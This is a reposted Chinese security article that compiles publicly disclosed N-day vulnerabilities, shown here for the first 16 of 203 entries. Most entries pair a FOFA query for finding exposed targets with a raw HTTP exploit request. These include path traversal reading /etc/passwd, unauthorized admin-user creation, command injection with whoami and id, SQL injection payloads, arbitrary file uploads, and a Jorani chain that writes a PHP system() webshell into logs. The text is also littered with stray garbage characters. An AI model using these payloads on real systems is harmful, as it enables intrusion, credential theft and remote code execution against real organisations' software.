互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
1 L+ e/ [2 s; y# e7 ]道一安全 2024-06-05 07:41 北京
2 y. E" a+ b2 _( {6 }以下文章来源于网络安全新视界 ，作者网络安全新视界

2 s2 Y! W2 o" |$ H# n发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
+ p5 y4 F" d: t( X! l
# g8 m; ]7 L9 J: w* J) U  K漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。

- a' V: v" I  {( f! S; W安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

* h# C; L# k) K2 n文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。

合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。

1 Z. W5 n* f4 e8 ?
! B& ?  S. p& K4 G/ P) Y0 ~0 `声明
$ Y: d0 d% x2 z. ]6 y% ~
5 d: h% N2 ^! E% l. k  L为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。



( M/ O) w  C  y2 y目录
1 m8 D0 z. C$ v& f! W+ W+ U6 G
01
0 ?0 z  R$ l3 ?3 O: P# c
  r, d5 P" `, G/ Q8 r1. StarRocks MPP数据库未授权访问
2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
2 D; G) ]5 ~6 Z& T+ i, r" |4. EasyCVR视频管理平台存在任意用户添加
6 i: W+ O; _6 Q' i5. NUUO NVR 视频存储管理设备远程命令执行
1 t: l% ]1 ]: c: {6 k2 H/ s6. 深信服 NGAF 任意文件读取
7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
9. 稻壳CMS keyword 未授权SQL注入
1 B& p. `5 _' Q& ^: o" U0 K10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
$ _9 Y; U7 J) e( s* {, U14. 华夏ERP（jshERP）敏感信息泄露
$ ^- @1 h/ f! g4 O  C% W8 `7 G15. 华夏ERP getAllList信息泄露
) H4 J& d$ i: k- R16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
7 y* T; g1 D5 f- ]; `/ v, [' m9 c9 e* {6 g18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
; r$ b1 C4 Q! q' J& r19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
2 a" x4 m; h5 @6 F23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
1 H5 q# m4 c0 P. R2 K24. 用友NC 6.5 accept.jsp任意文件上传
! @  J9 b: l5 D/ h5 h" h7 B& |25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
7 i. D4 ~( A- v27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
( }* }) N  F0 i32. 用友NC complainbilldetail SQL注入
7 x9 R( L7 g- V9 T- a! w33. 用友NC downTax/download SQL注入
2 F' v) H7 W: i0 D1 o$ W34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
2 p. x1 e( C3 B: _' [  I9 A38. 用友U8 Cloud smartweb2.RPC.d XXE
# i- H3 R1 z! \* c39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
4 G  _& ]4 f% [- }$ v, [$ X% b42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
; G8 {- D3 I$ `/ y5 W  {45. 用友GRP-U8 ufgovbank XXE
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
47. 用友GRP A++Cloud 政府财务云 任意文件读取
48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
& x, ^7 E& w( a* H50. QDocs Smart School 6.4.1 filterRecords SQL注入
( ~5 ~2 s0 e" a7 ]: X# M51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
' U! P' m# i( ?, p% n! S: N! c54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
8 g# d0 K0 a( F0 d* X) {56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
5 }) n- B( ~7 O9 V  C' _57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
  r1 q! A7 y8 p. V# d& ]59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
" V# v0 Q: R1 W1 E' `60. 百卓Smart管理平台 importexport.php SQL注入
( H7 ^  T; K- I5 ^61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
3 s  f  j. ?  c2 h3 ~66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
: T" H% B! b9 A: u+ Z68. 万户ezOFFICE wf_printnum.jsp SQL注入
! U! e- J( z) X! X- C- s69. 万户 ezOFFICE contract_gd.jsp SQL注入
  J* {1 L7 S6 ?9 S70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
1 H* n7 G" g$ v72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
) M3 z+ H: @3 m9 Z- i74. 致远M3-server 6_1sp1 反序列化RCE
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
/ }( J0 R2 G0 b" S6 ~7 v" x* H76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
1 p' X. Q8 |/ E- P0 I/ {3 v80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
/ H& r; r( ~" L$ R85. SysAid On-premise< 23.3.36远程代码执行
  C5 B2 v! a: p9 X' j8 N) a6 S, g86. 日本tosei自助洗衣机RCE
, e& O) @) Q! E! e# m87. 安恒明御安全网关aaa_local_web_preview文件上传
8 G* s4 r' N  ]6 x6 \88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
89. 致远互联FE协作办公平台editflow_manager存在sql注入
: V$ i3 d! B0 |9 u5 k7 o90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
' p' `# L4 [0 |92. 海康威视运行管理中心session命令执行
, B& |3 a* q9 b: r93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
2 F( o5 U- R( H7 b4 e95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
) g. N' R' W5 y0 N& ]! w) q96. Apache OFBiz  18.12.11 groovy 远程代码执行
, a' t( Q* n' q$ |5 L. k- }" ?97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
* ]# U' h! E; Y/ g! U: U0 |( S, C7 _98. SpiderFlow爬虫平台远程命令执行
99. Ncast盈可视高清智能录播系统busiFacade RCE
2 F: H9 F3 g2 C100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
, r( \3 ]: X3 Z  ]103. Ivanti Pulse Connect Secure VPN XXE
" O3 D0 `2 j0 d: A0 Y104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
3 t1 d1 w9 A5 r& b# D9 N108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
' a' F: p# a8 U112. WordPress Plugin NotificationX SQL 注入
113. WordPress Automatic 插件任意文件下载和SSRF
: Q% @$ \' j) i" A114. WordPress MasterStudy LMS插件 SQL注入
7 n9 t0 ~% n4 s& Y# ]- b: y115. WordPress Bricks Builder <= 1.9.6 RCE
  S4 p3 d3 G; K" N: s, S116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
6 S- b. J: m# P0 ^122. 北京百绰智能s200管理平台/importexport.php sql注入
; z  k7 S" Z$ O  C& `123. Atlassian Confluence 模板注入代码执行
124. 湖南建研工程质量检测系统任意文件上传
125. ConnectWise ScreenConnect身份验证绕过
/ b7 }$ I" B6 c3 w4 K" b/ A* B126. Aiohttp 路径遍历
7 \) v/ d: h: w* n+ c. A( H127. 广联达Linkworks DataExchange.ashx XXE
128. Adobe ColdFusion 反序列化
129. Adobe ColdFusion 任意文件读取
130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
. P9 F. B% E5 w- I6 F1 d: ^134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
7 }" c9 r0 V2 }6 [2 c- P4 s0 d136. NextChat cors SSRF
# q" R5 s3 l, a% Q/ i% U. P137. 福建科立迅通信指挥调度平台down_file.php sql注入
) |) U7 `% M+ p9 I; m138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
; W- y+ T  g; Q9 |; d+ F# s- N; }139. 福建科立讯通信指挥调度平台editemedia.php sql注入
0 |7 V! Z3 q) N0 @140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
- h5 R; B1 M7 p/ `- l- Z141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
7 z; A, j! \. E142. CMSV6车辆监控平台系统中存在弱密码
/ E! f' d. ]. M  u143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
, t9 V+ w" T. g( B145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
# M, u$ B; s+ A- u) g" ?146. MajorDoMo thumb.php 未授权远程代码执行
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
  J7 F4 v/ b4 @4 R- Q151. AJ-Report 1.4.1 pageList sql注入
6 E- S# t% @% v" _152. Progress Kemp LoadMaster 远程命令执行
1 z- G0 ^2 i) M# d' ?3 G; v153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
+ ]& A- x- ]3 t4 c9 r% d155. 六零导航页 file.php 任意文件上传
8 }* M$ `+ ?4 O' b, y! G" b156. TBK DVR-4104/DVR-4216 操作系统命令注入
9 T. l! f& n+ V( ^157. 美特CRM upload.jsp 任意文件上传
158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
+ n  F# l) D/ B9 r' _160. Sonatype Nexus Repository 3目录遍历与文件读取
; f& z1 G: R* [* c161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
0 t' z, J; k( B, q* y1 d( I165. OrangeHRM 3.3.3 SQL 注入
166. 中成科信票务管理平台SeatMapHandler SQL注入
. }+ T* D8 a; I0 ~& v% u" K167. 精益价值管理系统 DownLoad.aspx任意文件读取
4 B" N( R' V9 G1 ^: E: ^* f168. 宏景EHR OutputCode 任意文件读取
) `# r6 l: ^. ]169. 宏景EHR downlawbase SQL注入
7 E( J2 h1 ~6 w( {; ^& U' F170. 宏景EHR DisplayExcelCustomReport 任意文件读取
171. 通天星CMSV6车载定位监控平台 SQL注入
% q- ?7 o  s' a5 c, n' J6 T172. DT-高清车牌识别摄像机任意文件读取
6 P+ g) W% i( [9 n  f& i173. Check Point 安全网关任意文件读取
% l8 ^6 b$ o0 u: D" L$ ^/ S174. 金和OA C6 FileDownLoad.aspx 任意文件读取
' O2 w/ y# S' U3 P: Y- o, z" c8 X175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
2 d  b: U- P- d, [. V178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
180. 帮管客 CRM jiliyu SQL注入
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
- e* w7 C% _4 d) k. [182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
& L% ~: W5 @4 r- w* {8 N/ Z+ I183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
" A0 T8 R& v# s% f184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
185. 瑞友天翼应用虚拟化系统SQL注入
- G. _" y, X9 a1 O186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
1 R# S9 `" S( z1 \& t. Y190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
: A4 R! O9 ]. C192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
4 E% n+ D( I$ |4 a, F193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
& A( j) s/ B) q! R( H195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
  U( ]1 s' ]: ]( V  \% l, S9 ?199. cockpit系统assetsmanager_upload接口 文件上传
+ @+ ]& N2 E+ P& S200. SeaCMS海洋影视管理系统dmku SQL注入
- `9 t6 `0 A$ p8 |201. 方正全媒体新闻采编系统 binary SQL注入
1 b2 R2 e6 D- M2 w, Z202. 微擎系统 AccountEdit任意文件上传
2 N  M: t  u! n! }# P203. 红海云EHR PtFjk 文件上传
  Y4 H) n- G! ~3 V; V5 s
) P2 H: f) T2 Y9 \3 C" P+ gPOC列表
% F4 a6 c# n) E* Z) E, H$ T
02

1. StarRocks MPP数据库未授权访问
5 [2 z2 Z8 z+ b3 O! Z  E; hFOFA ：title="StarRocks"
GET /mem_tracker HTTP/1.1
Host: URL


6 a  x+ R' R/ _; C  G, J2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
( E+ M& G  u$ b& ?Host: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
  ~& w9 V: V/ t. {Connection: close
Accept: */*
% L( n/ r5 f0 p* F4 I6 H5 s" C& N6 HAccept-Language: en
Accept-Encoding: gzip
2 ?5 n4 u2 Y/ x! Q2 G+ `1 n# X

  u4 T; N8 @' A  k4 B3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: xx.xx.xx.xx


1 K. @3 n! }' S; ^4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"
7 s* {) q" N& M( V/ }  i
password更改为自己的密码md5
# ?3 @1 N- g! W' M0 V& r% ^POST /api/v1/adduser HTTP/1.1
' d- R6 l% W! @Host: your-ip
7 u1 w7 D+ \2 F. Z3 c0 PContent-Type: application/x-www-form-urlencoded; charset=UTF-8

0 U3 P6 z& s$ O8 T* |& A8 q( ^& bname=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
) t( J* q$ v8 g7 |( B' R9 Z
4 C- C! t5 x) Q. Q; K/ k
! c( R& Z) d/ D" n3 H+ q5. NUUO NVR 视频存储管理设备远程命令执行
% U# m, Q9 W% @6 `  CFOFA：title="Network Video Recorder Login"
GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
Host: xx.xx.xx.xx
& ~# I( V8 n; W: l1 N! p4 X3 S  r

6. 深信服 NGAF 任意文件读取
( t: l9 G; }, J2 c8 oFOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host:


7. 鸿运主动安全监控云平台任意文件下载
& N+ g& U2 ^2 BFOFA：body="./open/webApi.html"
; a$ ]$ G* A6 Q8 XGET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
7 p, i( }( D, M: Y- \3 r  l. AHost:

+ ]0 l+ T% `3 V7 n; I4 l+ b1 c% q
8. 斐讯 Phicomm 路由器RCE
5 b6 V( ]5 a) d8 e1 ~FOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
% @; l# l9 _4 QPOST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
4 R& S. n! D0 y% i2 `+ F6 [# u5 ~; V, IHost: x.x.x.x
3 g5 P! z1 f5 G% T0 ~- L  O9 ^* m5 |Cookie: sysauth=第一步登录获取的cookie
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
. f4 c% f, x% JUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"

%s
------WebKitFormBoundaryxbgjoytz
+ n/ ?8 Z: r! {; d3 E3 a+ ~6 V& k8 mContent-Disposition: form-data; name="wifiRebootrange"

9 ~7 g* B# W  B& q, \  \' K! F12:00; id;
------WebKitFormBoundaryxbgjoytz
* }( P- L. L$ T2 G! G( zContent-Disposition: form-data; name="wifiRebootendrange"
8 J8 p4 K2 Y6 v
1 c1 f% x' c# H: k0 Z%s:
+ z! v1 C5 c/ H( ^1 V, g------WebKitFormBoundaryxbgjoytz
0 ?0 F/ G* o% W& {* lContent-Disposition: form-data; name="cururl2"
( P2 m! z! {* \5 J( p1 B/ E

  a* z: L5 ^+ v' C------WebKitFormBoundaryxbgjoytz--
' L, @1 }+ Y" V

9. 稻壳CMS keyword 未授权SQL注入
$ v& u6 u8 M+ L( a  aFOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
Host: x.x.x.x
& l! `8 ?' g# H0 R/ ~+ a- X$ n
9 |* k. ^5 ^9 ^; Z( H; r) O
payload为下列语句的二次Url编码

' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
FOFA：icon_hash="953405444"

文件上传后响应中包含上传文件的路径
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Length: 197
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
0 L! I% W& l$ T4 f' \$ OAccept-Language: zh-CN,zh;q=0.9
& r; `2 B+ r. b* \+ G& F2 s- w8 vConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
% w  ]: B1 F  p' w& O! q
  x: Z: I1 |9 ^& O& P) J------WebKitFormBoundaryxdgaqmqu
: r8 k" T: P+ K' r7 @* AContent-Disposition: form-data; name="file"filename="icfitnya.txt"
8 E: M7 t+ X' q+ _+ L- ~Content-Type: text/html

8 \2 E$ P2 }) A% G2 n5 u  e, i0 \jmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--

! W+ V  G8 a1 H& B7 z$ N( e
. {/ v) c! G- P+ i/ n; l1 R11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
# f% f0 ]; `6 g  \FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
1 l+ k& W( U2 W+ _: BGET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
6 W, E1 A, J+ {& v- `Host: 127.0.0.1
1 n9 |; {; E: z$ x6 f; vPragma: no-cache
8 w8 j- w. H; a7 a$ n0 l7 _* mCache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
8 E; L/ r  {0 t3 L! eAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
5 h- v; \0 M" A2 o" L8 SAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

6 `( j( o2 C4 L( G; n; p
12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
第一步先拿到cookie
& K4 m+ \: j+ j1 y5 j: `% nGET /session/login HTTP/1.1
5 r+ _6 X: p- `3 c' ~" ZHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Accept-Encoding: gzip
! \# F0 _) f4 k$ R# }5 N
# z  G* T2 G4 {; B
响应中csrf_cookie_jorani用于后续请求
7 |0 j- S' k2 E2 DHTTP/1.1 200 OK
, u# |8 S2 {2 WConnection: close
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
6 p6 x( B0 [+ G3 @Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
: b' z$ L& O5 b  c/ @Pragma: no-cache
' g# O: R: w- C# j! {% `% N' KServer: Apache/2.4.54 (Debian)
Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding
1 P/ T. }( v% K1 I+ J: H

POST请求，执行函数并进行base64编码
POST /session/login HTTP/1.1
Host: 192.168.190.30
9 r) X' e* X  h4 @# L. v6 t6 r) Q: HUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
7 R* V: v8 U  u5 l; M2 x0 VConnection: close
9 q3 l& u4 h5 l: fContent-Length: 252
Content-Type: application/x-www-form-urlencoded
! a" a+ X3 }4 }5 ]  pCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
Accept-Encoding: gzip
; X3 S) x" a% m: F& y! V
: K3 G* I8 m& Icsrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor
3 l/ N. P2 P/ O7 U* _/ y. V& y
) W. |3 u: e3 J

; \) r6 s4 x/ s9 j$ r' _& l向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
" c( q7 Q& V! \6 N+ Y: lGET /pages/view/log-2023-10-24 HTTP/1.1
8 ^4 @  a4 t% H0 ~) fHost: 192.168.190.30
! x9 {, W3 r. l9 v) yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
5 m. r7 H, o6 \1 I  y9 F8 G! yConnection: close
. F$ j6 @& V) \Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
% c4 N6 g' d/ A: L: uAccept-Encoding: gzip


' B: ~( j( Y! ?- ?# e- I. C2 b0 S1 z13. 红帆iOffice ioFileDown任意文件读取
! l; O9 ~% E$ B, [9 kFOFA：app="红帆-ioffice"
' |+ p3 w2 }6 |" x8 RGET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
! L) L5 T6 v# h9 z3 G' q4 b  HHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
* |1 Y, Y% u; N2 |Connection: close
Accept: */*
4 r* v/ E4 p" t9 OAccept-Encoding: gzip
( `; X* m. k6 u: D

$ d6 x3 V% c9 ~! `* L+ [14. 华夏ERP（jshERP）敏感信息泄露
8 L- F" {3 L6 C1 mFOFA：body="jshERP-boot"
" k+ k/ t' d' Z, v3 k# {泄露内容包括用户名密码
9 E* c+ S( V$ j& |2 i. FGET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
7 O+ n2 W% q  t7 IUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
9 C3 F( W' S1 A" y7 PConnection: close
6 @% @- r6 {% z5 K0 K' gAccept: */*
' f1 M- Q7 D$ K8 d5 I" ~, }Accept-Language: en
  |: A' C# `9 E! I+ b8 ]6 pAccept-Encoding: gzip

) z. k) R& O1 q, t9 u; p
15. 华夏ERP getAllList信息泄露
CVE-2024-0490
FOFA：body="jshERP-boot"
/ Y6 k' E% {5 W1 h, W. r* I# Q泄露内容包括用户名密码
/ g2 p2 r0 Z4 J( |/ ZGET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
+ K7 B3 ]- r. f0 mHost: 192.168.40.130:100
9 f! h, O* r  u$ a3 h9 A$ O6 YUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Language: en
8 p; q+ K* S1 gsec-ch-ua-platform: Windows
3 O5 E2 x3 t' B" CAccept-Encoding: gzip
2 M) W) O, f. C+ i3 N
* y/ `0 V2 R: x  P( {1 K! _
16.  红帆HFOffice医微云SQL注入
: T* H+ G% F6 A7 {FOFA：title="HFOffice"
poc中调用函数计算1234的md5值
